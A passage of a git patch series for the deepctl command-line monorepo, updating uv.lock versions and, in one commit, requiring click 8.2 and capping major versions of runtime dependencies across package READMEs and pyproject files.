     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "packaging", specifier = ">=21.0" },
     { name = "toml", specifier = ">=0.10.2" },
@@ -1503,10 +1541,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-projects"
-version = "0.2.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-projects" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "deepgram-sdk" },
     { name = "pydantic" },
@@ -1516,6 +1555,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1524,10 +1564,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-read"
-version = "0.1.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-read" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1536,6 +1577,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1543,10 +1585,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-requests"
-version = "0.1.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-requests" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1555,6 +1598,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1562,10 +1606,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-skills"
-version = "0.0.9"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-skills" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "rich" },
 ]
@@ -1573,16 +1618,18 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "rich", specifier = ">=13.0.0" },
 ]
 
 [[package]]
 name = "deepctl-cmd-speak"
-version = "0.0.5"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-speak" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1591,6 +1638,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1598,25 +1646,28 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-transcribe"
-version = "0.1.12"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-transcribe" }
 dependencies = [
+    { name = "deepctl" },
     { name = "deepctl-cmd-listen" },
     { name = "deepctl-core" },
 ]
 
 [package.metadata]
 requires-dist = [
+    { name = "deepctl", editable = "." },
     { name = "deepctl-cmd-listen", editable = "packages/deepctl-cmd-listen" },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
 ]
 
 [[package]]
 name = "deepctl-cmd-update"
-version = "0.2.7"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-update" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "packaging" },
@@ -1635,6 +1686,7 @@ dev = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "httpx", specifier = ">=0.24.0" },
     { name = "packaging", specifier = ">=21.0" },
@@ -1649,10 +1701,11 @@ provides-extras = ["dev"]
 
 [[package]]
 name = "deepctl-cmd-usage"
-version = "0.2.1"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-usage" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "deepctl-shared-utils" },
     { name = "deepgram-sdk" },
@@ -1663,6 +1716,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
@@ -1672,10 +1726,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-core"
-version = "0.3.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-core" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepgram-sdk" },
     { name = "httpx" },
     { name = "keyring" },
@@ -1698,6 +1753,7 @@ dev = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
     { name = "httpx", specifier = ">=0.24.0" },
     { name = "keyring", specifier = ">=24.0.0" },
@@ -1733,10 +1789,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-shared-utils"
-version = "0.1.13"
+version = "0.4.1"
 source = { editable = "packages/deepctl-shared-utils" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "httpx" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1745,6 +1802,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "httpx", specifier = ">=0.24.0" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1752,10 +1810,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-telemetry"
-version = "0.0.7"
+version = "0.4.1"
 source = { editable = "packages/deepctl-telemetry" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "rich" },
     { name = "sentry-sdk" },
@@ -1764,6 +1823,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "rich", specifier = ">=13.0.0" },
     { name = "sentry-sdk", specifier = ">=2.35.0,<3" },

From 92d01300474e220f7450dc027dcc802b851ad402 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 08:37:46 -0400
Subject: [PATCH 05/88] build(deps): require click 8.2 and cap majors of
 runtime deps

Every package now requires click>=8.2.0. The CLI's own tests rely on
click 8.2 APIs (CliRunner capturing stderr separately, and
click.exceptions.NoArgsIsHelpError), so 8.2 is the oldest click the CLI
is tested against; at 8.1 those suites fail even though the commands
themselves still load.

The root also drops its typer dependency: nothing in deepctl imports
typer, so installing deepctl no longer pulls typer (or shellingham) in.

click, httpx, pydantic, rich, platformdirs, keyring and websockets get
an upper bound below their next major version (click<9, httpx<1,
pydantic<3, rich<16, platformdirs<5, keyring<26, websockets<18), next to
the existing sentry-sdk<3 and deepgram-sdk<8 caps. A new major's
prerelease can then never be resolved into an install, the way a
sentry-sdk 3.0 prerelease breaks every uncapped release. The caps change
no resolved version in uv.lock.
---
 packages/deepctl-cmd-api/README.md            |   8 +-
 packages/deepctl-cmd-api/pyproject.toml       |   8 +-
 packages/deepctl-cmd-billing/README.md        |   6 +-
 packages/deepctl-cmd-billing/pyproject.toml   |   6 +-
 packages/deepctl-cmd-completion/README.md     |   6 +-
 .../deepctl-cmd-completion/pyproject.toml     |   6 +-
 packages/deepctl-cmd-debug-audio/README.md    |   8 +-
 .../deepctl-cmd-debug-audio/pyproject.toml    |   8 +-
 packages/deepctl-cmd-debug-browser/README.md  |   8 +-
 .../deepctl-cmd-debug-browser/pyproject.toml  |   8 +-
 packages/deepctl-cmd-debug-network/README.md  |   8 +-
 .../deepctl-cmd-debug-network/pyproject.toml  |   8 +-
 packages/deepctl-cmd-debug-probe/README.md    |   6 +-
 .../deepctl-cmd-debug-probe/pyproject.toml    |   6 +-
 packages/deepctl-cmd-debug-toolkit/README.md  |  10 +-
 .../deepctl-cmd-debug-toolkit/pyproject.toml  |  10 +-
 packages/deepctl-cmd-debug/README.md          |   6 +-
 packages/deepctl-cmd-debug/pyproject.toml     |   6 +-
 packages/deepctl-cmd-ffprobe/README.md        |   6 +-
 packages/deepctl-cmd-ffprobe/pyproject.toml   |   6 +-
 packages/deepctl-cmd-init/README.md           |   8 +-
 packages/deepctl-cmd-init/pyproject.toml      |   8 +-
 packages/deepctl-cmd-keys/README.md           |   6 +-
 packages/deepctl-cmd-keys/pyproject.toml      |   6 +-
 packages/deepctl-cmd-listen/README.md         |   8 +-
 packages/deepctl-cmd-listen/pyproject.toml    |   8 +-
 packages/deepctl-cmd-login/README.md          |   6 +-
 packages/deepctl-cmd-login/pyproject.toml     |   6 +-
 packages/deepctl-cmd-mcp/README.md            |   6 +-
 packages/deepctl-cmd-mcp/pyproject.toml       |   6 +-
 packages/deepctl-cmd-members/README.md        |   6 +-
 packages/deepctl-cmd-members/pyproject.toml   |   6 +-
 packages/deepctl-cmd-models/README.md         |   6 +-
 packages/deepctl-cmd-models/pyproject.toml    |   6 +-
 packages/deepctl-cmd-projects/README.md       |   6 +-
 packages/deepctl-cmd-projects/pyproject.toml  |   6 +-
 packages/deepctl-cmd-read/README.md           |   6 +-
 packages/deepctl-cmd-read/pyproject.toml      |   6 +-
 packages/deepctl-cmd-requests/README.md       |   6 +-
 packages/deepctl-cmd-requests/pyproject.toml  |   6 +-
 packages/deepctl-cmd-skills/README.md         |   4 +-
 packages/deepctl-cmd-skills/pyproject.toml    |   4 +-
 packages/deepctl-cmd-speak/README.md          |   6 +-
 packages/deepctl-cmd-speak/pyproject.toml     |   6 +-
 packages/deepctl-cmd-update/README.md         |   8 +-
 packages/deepctl-cmd-update/pyproject.toml    |   8 +-
 packages/deepctl-cmd-usage/README.md          |   6 +-
 packages/deepctl-cmd-usage/pyproject.toml     |   6 +-
 packages/deepctl-core/README.md               |  12 +-
 packages/deepctl-core/pyproject.toml          |  12 +-
 packages/deepctl-shared-utils/README.md       |   8 +-
 packages/deepctl-shared-utils/pyproject.toml  |   8 +-
 packages/deepctl-telemetry/README.md          |   4 +-
 packages/deepctl-telemetry/pyproject.toml     |   4 +-
 pyproject.toml                                |  13 +-
 uv.lock                                       | 231 ++++++++----------
 56 files changed, 288 insertions(+), 324 deletions(-)

diff --git a/packages/deepctl-cmd-api/README.md b/packages/deepctl-cmd-api/README.md
index fe9f6420..39281bc3 100644
--- a/packages/deepctl-cmd-api/README.md
+++ b/packages/deepctl-cmd-api/README.md
@@ -33,10 +33,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
-- `httpx>=0.24.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
+- `httpx>=0.24.0,<1`
 
 ## License
 
diff --git a/packages/deepctl-cmd-api/pyproject.toml b/packages/deepctl-cmd-api/pyproject.toml
index 2ad355e4..5350cf4f 100644
--- a/packages/deepctl-cmd-api/pyproject.toml
+++ b/packages/deepctl-cmd-api/pyproject.toml
@@ -23,10 +23,10 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
-    "httpx>=0.24.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
+    "httpx>=0.24.0,<1",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-billing/README.md b/packages/deepctl-cmd-billing/README.md
index 23b3d95f..18f56a25 100644
--- a/packages/deepctl-cmd-billing/README.md
+++ b/packages/deepctl-cmd-billing/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-billing/pyproject.toml b/packages/deepctl-cmd-billing/pyproject.toml
index 6c060b0a..97b428f5 100644
--- a/packages/deepctl-cmd-billing/pyproject.toml
+++ b/packages/deepctl-cmd-billing/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-completion/README.md b/packages/deepctl-cmd-completion/README.md
index 9f7a2a26..53b84b47 100644
--- a/packages/deepctl-cmd-completion/README.md
+++ b/packages/deepctl-cmd-completion/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-completion/pyproject.toml b/packages/deepctl-cmd-completion/pyproject.toml
index 0e955a9d..219079c7 100644
--- a/packages/deepctl-cmd-completion/pyproject.toml
+++ b/packages/deepctl-cmd-completion/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-debug-audio/README.md b/packages/deepctl-cmd-debug-audio/README.md
index bd1f1730..832eb13c 100644
--- a/packages/deepctl-cmd-debug-audio/README.md
+++ b/packages/deepctl-cmd-debug-audio/README.md
@@ -35,11 +35,11 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 - `ffmpeg-python>=0.2.0`
-- `httpx>=0.24.0`
+- `httpx>=0.24.0,<1`
 
 ## License
 
diff --git a/packages/deepctl-cmd-debug-audio/pyproject.toml b/packages/deepctl-cmd-debug-audio/pyproject.toml
index 9af5379a..57061a62 100644
--- a/packages/deepctl-cmd-debug-audio/pyproject.toml
+++ b/packages/deepctl-cmd-debug-audio/pyproject.toml
@@ -23,11 +23,11 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
     "ffmpeg-python>=0.2.0",
-    "httpx>=0.24.0",
+    "httpx>=0.24.0,<1",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-debug-browser/README.md b/packages/deepctl-cmd-debug-browser/README.md
index 86840600..61b1710f 100644
--- a/packages/deepctl-cmd-debug-browser/README.md
+++ b/packages/deepctl-cmd-debug-browser/README.md
@@ -35,10 +35,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
-- `httpx>=0.24.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
+- `httpx>=0.24.0,<1`
 - `aiohttp>=3.9.0`
 
 ## License
diff --git a/packages/deepctl-cmd-debug-browser/pyproject.toml b/packages/deepctl-cmd-debug-browser/pyproject.toml
index 4b6fdda5..9be8c267 100644
--- a/packages/deepctl-cmd-debug-browser/pyproject.toml
+++ b/packages/deepctl-cmd-debug-browser/pyproject.toml
@@ -23,10 +23,10 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
-    "httpx>=0.24.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
+    "httpx>=0.24.0,<1",
     "aiohttp>=3.9.0",
 ]
 
diff --git a/packages/deepctl-cmd-debug-network/README.md b/packages/deepctl-cmd-debug-network/README.md
index be1db34f..2da03160 100644
--- a/packages/deepctl-cmd-debug-network/README.md
+++ b/packages/deepctl-cmd-debug-network/README.md
@@ -35,10 +35,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
-- `httpx>=0.24.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
+- `httpx>=0.24.0,<1`
 - `requests>=2.31,<3.0`
 
 ## License
diff --git a/packages/deepctl-cmd-debug-network/pyproject.toml b/packages/deepctl-cmd-debug-network/pyproject.toml
index d7273dc6..a37b284d 100644
--- a/packages/deepctl-cmd-debug-network/pyproject.toml
+++ b/packages/deepctl-cmd-debug-network/pyproject.toml
@@ -23,10 +23,10 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
-    "httpx>=0.24.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
+    "httpx>=0.24.0,<1",
     "requests>=2.31,<3.0",
 ]
 
diff --git a/packages/deepctl-cmd-debug-probe/README.md b/packages/deepctl-cmd-debug-probe/README.md
index 382e8ade..4afe3808 100644
--- a/packages/deepctl-cmd-debug-probe/README.md
+++ b/packages/deepctl-cmd-debug-probe/README.md
@@ -35,9 +35,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 - `aiohttp>=3.11.0`
 
 ## License
diff --git a/packages/deepctl-cmd-debug-probe/pyproject.toml b/packages/deepctl-cmd-debug-probe/pyproject.toml
index dc610223..2b373fcb 100644
--- a/packages/deepctl-cmd-debug-probe/pyproject.toml
+++ b/packages/deepctl-cmd-debug-probe/pyproject.toml
@@ -24,9 +24,9 @@ dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
     "deepctl-shared-utils==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
     "aiohttp>=3.11.0",
 ]
 
diff --git a/packages/deepctl-cmd-debug-toolkit/README.md b/packages/deepctl-cmd-debug-toolkit/README.md
index 559b3ed6..37530127 100644
--- a/packages/deepctl-cmd-debug-toolkit/README.md
+++ b/packages/deepctl-cmd-debug-toolkit/README.md
@@ -35,11 +35,11 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `httpx>=0.27.0`
-- `pydantic>=2.10.1`
-- `platformdirs>=4.0.0`
-- `rich>=13.9.4`
-- `click>=8.1.7`
+- `httpx>=0.27.0,<1`
+- `pydantic>=2.10.1,<3`
+- `platformdirs>=4.0.0,<5`
+- `rich>=13.9.4,<16`
+- `click>=8.2.0,<9`
 
 ## License
 
diff --git a/packages/deepctl-cmd-debug-toolkit/pyproject.toml b/packages/deepctl-cmd-debug-toolkit/pyproject.toml
index 3eda3c87..8d018160 100644
--- a/packages/deepctl-cmd-debug-toolkit/pyproject.toml
+++ b/packages/deepctl-cmd-debug-toolkit/pyproject.toml
@@ -13,11 +13,11 @@ license = "MIT"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "httpx>=0.27.0",
-    "pydantic>=2.10.1",
-    "platformdirs>=4.0.0",
-    "rich>=13.9.4",
-    "click>=8.1.7",
+    "httpx>=0.27.0,<1",
+    "pydantic>=2.10.1,<3",
+    "platformdirs>=4.0.0,<5",
+    "rich>=13.9.4,<16",
+    "click>=8.2.0,<9",
 ]
 
 [project.entry-points."deepctl.subcommands.debug"]
diff --git a/packages/deepctl-cmd-debug/README.md b/packages/deepctl-cmd-debug/README.md
index a30f35c1..d213e35a 100644
--- a/packages/deepctl-cmd-debug/README.md
+++ b/packages/deepctl-cmd-debug/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-debug/pyproject.toml b/packages/deepctl-cmd-debug/pyproject.toml
index c84ad7ad..16b80a0b 100644
--- a/packages/deepctl-cmd-debug/pyproject.toml
+++ b/packages/deepctl-cmd-debug/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-ffprobe/README.md b/packages/deepctl-cmd-ffprobe/README.md
index 31a9b9ba..c8f80794 100644
--- a/packages/deepctl-cmd-ffprobe/README.md
+++ b/packages/deepctl-cmd-ffprobe/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-ffprobe/pyproject.toml b/packages/deepctl-cmd-ffprobe/pyproject.toml
index 3e3ad01d..ad928139 100644
--- a/packages/deepctl-cmd-ffprobe/pyproject.toml
+++ b/packages/deepctl-cmd-ffprobe/pyproject.toml
@@ -24,9 +24,9 @@ dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
     "deepctl-shared-utils==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-init/README.md b/packages/deepctl-cmd-init/README.md
index 52a406a2..6aba943f 100644
--- a/packages/deepctl-cmd-init/README.md
+++ b/packages/deepctl-cmd-init/README.md
@@ -33,10 +33,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `httpx>=0.24.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `httpx>=0.24.0,<1`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-init/pyproject.toml b/packages/deepctl-cmd-init/pyproject.toml
index f818e637..a8dd194b 100644
--- a/packages/deepctl-cmd-init/pyproject.toml
+++ b/packages/deepctl-cmd-init/pyproject.toml
@@ -23,10 +23,10 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "httpx>=0.24.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "httpx>=0.24.0,<1",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.entry-points."deepctl.commands"]
diff --git a/packages/deepctl-cmd-keys/README.md b/packages/deepctl-cmd-keys/README.md
index a80a18f9..2c232699 100644
--- a/packages/deepctl-cmd-keys/README.md
+++ b/packages/deepctl-cmd-keys/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-keys/pyproject.toml b/packages/deepctl-cmd-keys/pyproject.toml
index 8f99bd96..fb0d4575 100644
--- a/packages/deepctl-cmd-keys/pyproject.toml
+++ b/packages/deepctl-cmd-keys/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-listen/README.md b/packages/deepctl-cmd-listen/README.md
index cd8f82c7..297ae958 100644
--- a/packages/deepctl-cmd-listen/README.md
+++ b/packages/deepctl-cmd-listen/README.md
@@ -33,10 +33,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
-- `websockets>=13.1`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
+- `websockets>=13.1,<18`
 - `deepgram-captions>=2.0.0`
 - `sounddevice>=0.4.6`
 - `numpy>=1.24.0`
diff --git a/packages/deepctl-cmd-listen/pyproject.toml b/packages/deepctl-cmd-listen/pyproject.toml
index e721d165..c770b6ee 100644
--- a/packages/deepctl-cmd-listen/pyproject.toml
+++ b/packages/deepctl-cmd-listen/pyproject.toml
@@ -24,10 +24,10 @@ dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
     "deepctl-shared-utils==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
-    "websockets>=13.1",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
+    "websockets>=13.1,<18",
     "deepgram-captions>=2.0.0",
     "sounddevice>=0.4.6",
     "numpy>=1.24.0",
diff --git a/packages/deepctl-cmd-login/README.md b/packages/deepctl-cmd-login/README.md
index 9ff99fa5..e007d8b4 100644
--- a/packages/deepctl-cmd-login/README.md
+++ b/packages/deepctl-cmd-login/README.md
@@ -36,10 +36,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
 - `deepgram-sdk>=7.7.0,<8`
-- `pydantic>=2.0.0`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-login/pyproject.toml b/packages/deepctl-cmd-login/pyproject.toml
index 630534b0..1030c40e 100644
--- a/packages/deepctl-cmd-login/pyproject.toml
+++ b/packages/deepctl-cmd-login/pyproject.toml
@@ -23,10 +23,10 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
     "deepgram-sdk>=7.7.0,<8",
-    "pydantic>=2.0.0",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-mcp/README.md b/packages/deepctl-cmd-mcp/README.md
index e91d2ca1..d2fe5099 100644
--- a/packages/deepctl-cmd-mcp/README.md
+++ b/packages/deepctl-cmd-mcp/README.md
@@ -142,9 +142,9 @@ from your MCP config.
 ## Dependencies
 
 - `mcp>=1.22.0,<2.0.0`
-- `rich>=13.9.4`
-- `click>=8.1.7`
-- `pydantic>=2.10.1`
+- `rich>=13.9.4,<16`
+- `click>=8.2.0,<9`
+- `pydantic>=2.10.1,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-mcp/pyproject.toml b/packages/deepctl-cmd-mcp/pyproject.toml
index ccd93b75..113e17aa 100644
--- a/packages/deepctl-cmd-mcp/pyproject.toml
